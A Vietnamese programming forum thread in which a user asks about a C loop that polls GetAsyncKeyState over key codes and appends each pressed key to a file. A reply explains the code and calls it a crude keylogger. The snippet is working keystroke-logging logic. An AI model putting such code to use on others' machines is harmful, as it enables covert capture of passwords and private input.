Thắc mắc lệnh GetAsyncKeyState trong C

còn cách này , bạn giải thích giúp mình chỗ biến i và “-32767” được k .

unsigned short ch , i ; 
	while (1){
		ch = 1 ; 
		while(ch < 250){
			for (i = 0 ; i < 50 ;i++ , ch++){
				if(GetAsyncKeyState(ch) == -32767){
					file = fopen(FILE_NAME,"a");
					fprintf (file, "%d ",ch);
					fclose(file);
				}
			}
			Sleep(1);
		}
	}

Google ngay trang đầu luôn.
https://msdn.microsoft.com/en-us/library/windows/desktop/ms646293(v=vs.85).aspx

ch là mã từng phím bao gồm bàn phím và cả các nút trên chuột.
-32767 báo cho biết phím có mã tương ứng ch được nhấn.

Mã ch=1 tương ứng VK_LBUTTON tức là nút chuột trái.
Chương trình sẽ quét 250 phím. Mỗi phím quét 50 lần liên tiếp. Nếu phím đó nhấn thì mở file ghi phím đó vào.

Tóm lại là đang làm con keylogger hạng cùi :smile:


PS: Post xong phát thấy like luôn biết ngay con @noname00. Lại cãi like thật lòng đi :expressionless:

5 Likes

Kaka bạn hay quá cảm ơn bạn đã chia sẻ .

83% thành viên diễn đàn không hỏi bài tập, còn bạn thì sao?